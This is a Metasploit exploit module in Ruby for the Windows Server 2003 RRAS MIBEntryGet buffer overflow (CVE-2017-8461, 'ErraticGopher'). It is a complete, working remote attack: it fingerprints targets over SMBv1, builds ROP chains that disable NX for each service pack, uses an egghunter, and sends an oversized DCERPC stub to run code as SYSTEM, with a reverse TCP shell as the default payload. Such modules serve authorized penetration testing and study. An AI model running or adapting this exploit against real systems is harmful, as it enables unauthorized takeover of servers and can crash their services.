##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
'Description' => %q{
This module exploits an overflow in the Windows Routing and Remote
Access Service (RRAS) to execute code as SYSTEM.
The RRAS DCERPC endpoint is accessible to unauthenticated users via
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
however, this module targets Windows Server 2003 only.
Since the service is hosted inside svchost.exe, a failed exploit
attempt can cause other system services to fail as well.
The module has been successfully tested on:
Windows Server 2003 SP0 (x86);
Windows Server 2003 SP1 (x86);
Windows Server 2003 SP2 (x86); and
Windows Server 2003 R2 SP2 (x86).
},
'Author' =>
[
'Equation Group', # ERRATICGOPHER
'Shadow Brokers', # Equation Group dump
'VĂctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
'bcoles', # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8461'],
['CWE', '119'],
['BID', '99012'],
['EDB', '41929'],
['PACKETSTORM', '147593'],
['URL', 'https://www.securitytracker.com/id/1038701'],
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1065,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[
'Windows Server 2003 SP0 (English)',
{
'os' => 'Windows 2003',
'sp' => '',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP1 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 1',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP2 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
[
'Windows Server 2003 R2 SP2 (English) (NX)',
{
'os' => 'Windows 2003 R2',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
],
'Notes' =>
{
'AKA' => [ 'ErraticGopher' ],
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2017-06-13'
)
)
register_options([
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
])
deregister_options('SMB::ProtocolVersion')
end
def payload_win2k3sp0
rop = [0x0ffef4c9].pack('V')
# rsaenh.dll:
# 0FFEF4C9 54 PUSH ESP
# 0FFEF4CA 24 04 AND AL,4
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
# 0FFEF4D4 3BD1 CMP EDX,ECX
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
# 0FFEF4D8 F7F1 DIV ECX
# 0FFEF4DA C2 0C00 RETN 0C
rop += make_nops(1152 - payload.encoded.length)
rop += payload.encoded
rop
end
def payload_win2k3sp1
egg_options = {
eggtag: rand_text_alpha(4)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)
# NX disable routine for Windows Server 2003 SP1
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end
def payload_win2k3sp2
egg_options = {
eggtag: rand_text_alpha(4)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)
# NX disable routine for Windows Server 2003 [R2] SP2
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
rop += [0x77384271].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end
def check
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end
return CheckCode::Safe("SMB error: #{e.message}")
end
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end
CheckCode::Detected('RRAS enabled and accessible.')
end
def exploit
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end
raise e
end
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
end
print_status("Bound to #{handle} ...")
my_target = target
if target.name == 'Automatic'
print_status('Selecting a target ...')
fingerprint = smb_fingerprint
os = fingerprint['os']
sp = fingerprint['sp']
lang = fingerprint['lang']
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")
if lang == 'Unknown'
lang = 'English'
print_status("Could not detect the language pack, defaulting to #{lang}")
end
my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
unless my_target
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
end
end
print_status("Using target: #{my_target.name}")
case my_target.name
when 'Windows Server 2003 SP0 (English)'
buf = payload_win2k3sp0
when 'Windows Server 2003 SP1 (English) (NX)'
buf = payload_win2k3sp1
when 'Windows Server 2003 SP2 (English) (NX)'
buf = payload_win2k3sp2
when 'Windows Server 2003 R2 SP2 (English) (NX)'
buf = payload_win2k3sp2 # same as SP2
else
fail_with(Failure::NoTarget, 'Invalid target')
end
mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
mib += buf # rgdwVarIndex[5] dwForwardType # payload
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk
stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
stub += mib # our friendly MIB entry data with payload
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes
print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")
begin
dcerpc.call(0x1d, stub, false)
rescue StandardError => e
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
end
handler
disconnect
end
end